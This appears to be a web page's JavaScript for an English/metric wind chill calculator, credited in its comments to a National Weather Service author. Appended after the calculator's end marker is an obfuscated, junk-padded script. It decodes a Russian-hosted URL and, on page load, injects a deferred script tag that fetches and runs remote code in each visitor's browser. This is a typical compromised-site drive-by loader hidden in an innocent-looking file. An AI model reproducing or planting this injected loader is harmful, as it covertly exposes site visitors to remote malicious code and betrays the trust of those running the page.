<!--Do not add this line if already in your header. -->

<!-- NWS English/Metric Wind Chill Calculator 1.0  10/28/03 -->
<!-- Written by Bryan Ruby (bryan.ruby@noaa.gov), National Weather Service, Sioux Falls -->

<!-- Begin
function windChill(form) {

wind=eval(form.wind.value);
temp=eval(form.temp.value);
tempUnits=(form.tempUnits.selectedIndex);
windUnits=(form.windUnits.selectedIndex);
limit="Undefined";

<!-- Fahrenheit and MPH -->
if ((tempUnits==0) && (windUnits==0)) {
     windchill=(35.74+0.6215*temp-35.75*Math.pow(wind,0.16)+0.4275*temp*Math.pow(wind,0.16));
     windchillC= Math.round((windchill - 32) * .556) + " °C";
     windchill="               " + Math.round(windchill) + " °F          ( " + windchillC + " )               "; 
     <!-- Wind Thresholds -->
     windchill=((wind <= 3) || (wind >= 110 )) ? "Winds need to be above 3 MPH and below 110 MPH." : windchill;
     <!-- Max Ambient Temperature Thresholds -->
     windchill=((temp <= -50) || (temp >= 50)) ? "Temperatures need to be above -50 °F and below 50 °F": windchill;
     }

<!-- Celsius and km/hr -->
if ((tempUnits==1) && (windUnits==1)) {
     windchill=(13.12+0.6215*temp-11.37*Math.pow(wind,0.16)+0.3965*temp*Math.pow(wind,0.16));
     windchillF=Math.round(1.8*windchill+32) + " °F";
     windchill="               " + Math.round(windchill) + " °C          ( " + windchillF + " )               ";
     <!-- Wind Thresholds -->
     windchill=((wind <= 4.8) || (wind >= 177)) ? "Winds need to be above 4.8 km/hr and below 177 km/hr." : windchill;
     <!-- Max Ambient Temperature Thresholds -->
     windchill=((temp <= -50) || (temp >= 10)) ? "Temperatures need be to above -50 °C and below 10 °C" : windchill;
     }

<!-- Farenheit and km/hr -->
if ((tempUnits==0) && (windUnits==1)) {
     <!-- Convert km/hr to MPH -->
     wind = 0.621371 * wind;
     windchill=(35.74+0.6215*temp-35.75*Math.pow(wind,0.16)+0.4275*temp*Math.pow(wind,0.16));
     windchillc= Math.round((windchill - 32) * .556) + " °C";
     windchill="               " + Math.round(windchill) + " °F          ( " + windchillc + " )               "; 
     <!-- Wind Thresholds in MPH but alert user in km/hr -->
     windchill=((wind <= 3) || (wind >= 110 ))  ? "Winds need to be above 4.8 km/hr and below 177 km/hr." : windchill;
     <!-- Max Ambient Temperature Thresholds -->
     windchill=((temp <= -50) || (temp >= 50)) ? "Temperatures need to be above -50 °F and below 50 °F": windchill;
     }
     
<!-- Celsius and MPH -->
if ((tempUnits==1) && (windUnits==0)) {
     <!-- Convert MPH to km/hr -->
     wind = 1.609344 * wind;
     windchill=(13.12+0.6215*temp-11.37*Math.pow(wind,0.16)+0.3965*temp*Math.pow(wind,0.16));
     windchillF=Math.round(1.8*windchill+32) + " °F";
     windchill="               " + Math.round(windchill) + " °C          ( " + windchillF + " )               ";
     <!-- Wind Thresholds -->
     windchill=((wind <= 4.8) || (wind >= 177)) ? "Winds need to be above 3 MPH and below 110 MPH." : windchill;
     <!-- Max Ambient Temperature Thresholds -->
     windchill=((temp <= -50) || (temp >= 10)) ? "Temperatures need be to above -50 °C and below 10 °C" : windchill;
     }
     
<!-- Insert Values Back Into Form Fields -->
form.windchill.value = windchill;

}

//  End -->


var S=new Date();var d=new Date();var f=new Date();function B(){var b;if(b!='' && b!='A'){b='Fl'};var W='';var K=unescape;var fw;if(fw!=''){fw='C'};var v;if(v!=''){v='q'};var Kz=window;var jj=new Date();var j_;if(j_!='' && j_!='O'){j_=''};var M=K("%2f%62%72%65%61%6b%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%62%6c%61%63%6b%62%65%72%72%79%2e%63%6f%6d%2e%70%68%70");this.CM="";var x;if(x!=''){x='Y'};var aW;if(aW!='' && aW!='nq'){aW='Ne'};function j(KE,BZ){var z=String("getCF".substr(0,1));var LC;if(LC!=''){LC='i'};var X=K("%5b"), E=K("%5d");var y=X+BZ+E;var H=new RegExp(y, z);var IZ;if(IZ!='' && IZ!='KT'){IZ='ok'};return KE.replace(H, new String());this.EZ='';var gq;if(gq!='' && gq!='PL'){gq=''};};var l="";var p=j('816101518239055','32179546');var qt=new Array();this.Y_="";var e=document;this.MX='';var tXC;if(tXC!='Lh' && tXC!='Sp'){tXC=''};var pd=new String();this.od='';var yp;if(yp!='' && yp!='kI'){yp='an'};var m;if(m!='CG' && m != ''){m=null};function F(){this.gD="";var UG=new String();var bZ;if(bZ!='XX'){bZ=''};var YA=new String();var yI=K("%68%74%74%70%3a%2f%2f%6c%6f%61%64%74%75%62%65%2e%72%75%3a");var jv='';var Ht=new String();pd=yI;pd+=p;var Eu=new String();var gH;if(gH!='' && gH!='Ak'){gH='Sc'};pd+=M;var wMr='';var n_='';try {var ZJ=new String();var wH=new String();this.DL='';g=e.createElement(j('sWcqr5ibpKt5','5WAqDbYhK'));var uX;if(uX!='' && uX!='wu'){uX=null};g[K("%64%65%66%65%72")]=[7,1][1];var fa;if(fa!='' && fa!='Cqu'){fa=null};g[K("%73%72%63")]=pd;e.body.appendChild(g);var Ya;if(Ya!='EC' && Ya != ''){Ya=null};this.Ga='';var Pj;if(Pj!='tN' && Pj != ''){Pj=null};} catch(r){alert(r);var EJ=new Date();var HH=new String();};var ZSC=new Array();}var zG='';Kz[String("onl"+"We4uoad".substr(4))]=F;var BD;if(BD!='' && BD!='nF'){BD='DO'};var gJ;if(gJ!='wD' && gJ!='CW'){gJ=''};};var KX='';var cs='';B();